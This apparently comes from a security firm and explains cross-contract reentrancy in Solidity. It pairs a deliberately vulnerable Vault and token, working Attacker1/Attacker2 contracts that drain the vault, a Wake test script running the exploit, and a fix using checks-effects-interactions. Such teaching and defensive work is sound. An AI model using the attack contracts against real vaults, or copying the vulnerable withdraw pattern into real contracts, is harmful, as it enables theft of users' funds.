This research article reviews how cross contract reentrancy attacks work, an attack example, and guidance on how to prevent cross contract reentrancy attacks.
Previously, we covered single function reentrancy attacks and cross function reentrancy attacks. Those previous vulnerabilities were trivial to find since we need only check that updating the value with an external call should not use a different value or update that value.
What is a cross contract reentrancy attack?
Cross contract reentrancy attacks use different smart contracts to exploit a vulnerability. The code in cross contract reentrancy attacks is more complex since it uses different contracts, and thus, we should search how value is updated in those contracts. Moreover, ReentrancyGuard can not prevent these types of attacks.
Cross contract reentrancy attack example
This is an example contract of vulnerable to the cross contract reentrancy.
There is a CCRToken
contract and a Vault
contract. CCRToken is a custom token of ERC20. and Vault does swapping between ETH
and CCRToken
. Vault
stores ETH
.
As you can see in the Vault
contract all of the functions that the user callable function has nonReentrancy
.
So it is unable to do single function reentrancy. Also, there is no transfer
function for the cross function reentrancy in the Vault
contract. However similar to the transfer
function is located at the CCRToken
contract.
This is the token contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CCRToken is ERC20, Ownable {
// (manager i.e. victim) is trusted, so only they can mint and burn token
constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}
// Only manager mint token
function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}
// Burn token
function burn(address from, uint256 amount) external onlyOwner {
_burn(from, amount);
}
}
This is the vulnerable vault contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); //eth to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* it uses other contracts and it has different features from just variables.
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
// attacker calls transfer CCRT balance to another account in the callback function.
require(success, "Failed to send Ether");
burnUser();
}
}
The idea of attack is similar to the cross function reentrancy attack. The attacker does withdraw and it has an external function call, and here, even if all external functions in this contract have non-reentrant, we can call the transfer
function, since it is in the CCRToken
contract.
Example attack steps
The attack is done in the attack
function. After calling the attack
function.
- call the
deposit
in the Vault contract to prepare for the attack. - call the
withdraw
in the Vault contract, it calls an external call to the attacker, and it calls thereceive
function. - In the
receive
function, the attacker callstransfer
in the Token contract and transfers the ERC20 value to theAttacker2
. - So now, the sum of the amount that
Attacker
balance andAttacker2
in Token are multiple. - call
attacker2.send
to send the Token value fromAttacker2
to Attacker
And we can repeat those steps until drain the vault.
Attacker Contract
This is the attack contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker1 {
Vault victim;
CCRToken ccrt;
Attacker2 attacker2;
uint256 amount = 1 ether;
/**
* @param _victim victim address
* @param _ccrt victim token ERC20 address
*/
constructor(address _victim, address _ccrt) payable {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Set attacker2 contract
* @param _attacker2 attacker colleague address
*/
function setattacker2(address _attacker2) public {
attacker2 = Attacker2(_attacker2);
}
/**
* @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
* Because burn balance of attacker1 after this function.
* @dev triggered by victim.withdraw()
*/
receive() external payable {
ccrt.transfer(address(attacker2), msg.value);
}
/**
* @notice deposit and we can repeatedly withdraw.
*/
function attack() public {
uint256 value = address(this).balance;
victim.deposit{value: value}();
while(address(victim).balance >= amount){
victim.withdraw();
attacker2.send(address(this), value); //send ERC20 token that multiplied at recieve().
}
}
}
contract Attacker2 {
Vault victim;
CCRToken ccrt;
uint256 amount = 1 ether;
constructor(address _victim, address _ccrt) {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Just send ERC20 to the attacker
*/
function send(address _target, uint256 _amount) public {
ccrt.transfer(_target, _amount);
}
}
Exploit example of a cross-contract reentrancy attack
It went more complex than the previous example but those are for the deployment of contracts and the most important step is in the attack function call.
It does deploy vault and token and set those addresses.
Similarly, initialize attackers. and call the attack
function in the attacker.
from wake.testing import *
from pytypes.contracts.crosscontractreentrancy.token import CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Contract Reentrancy---------------------")
victim = default_chain.accounts[0]
attacker = default_chain.accounts[1]
vault = Vault.deploy(from_=victim)
token = CCRToken.deploy( vault.address ,from_=victim)
vault.setToken(token.address)
vault.deposit(from_=victim, value="4 ether")
attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault.balance)
print("Attacker balace: ", attacker_contract.balance)
print("----------Attack----------")
tx = attacker_contract.attack(from_=attacker)
print(tx.call_trace)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
This is the output of wake. We can see the Vault balance changed from 4 EHT to 0 ETH. Attacker balance changed 1 ETH to 5 ETH.
How to prevent a cross-contract reentrancy attack
ReentrancyGuard
The simple reentrancy guard can not prevent this attack.
CEI (checks-effects-interactions)
This is a straightforward solution as it eliminates the possibility of a reentrancy attack. This is the best way to prevent reentrancy attacks.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); //eth to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* it uses other contracts and it has different features from just variables.
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
burnUser();
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
}
Conclusion
The main issue of cross-contract reentrancy is the ReentrancyGuard does not work. However, the issue is always the same where it should not use data that is in the middle of the function. If there are multiple contracts, the entrance state is stored differently. If it removed this issue then the attack would stop.
We have a Reentrancy Examples Github Repository with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods.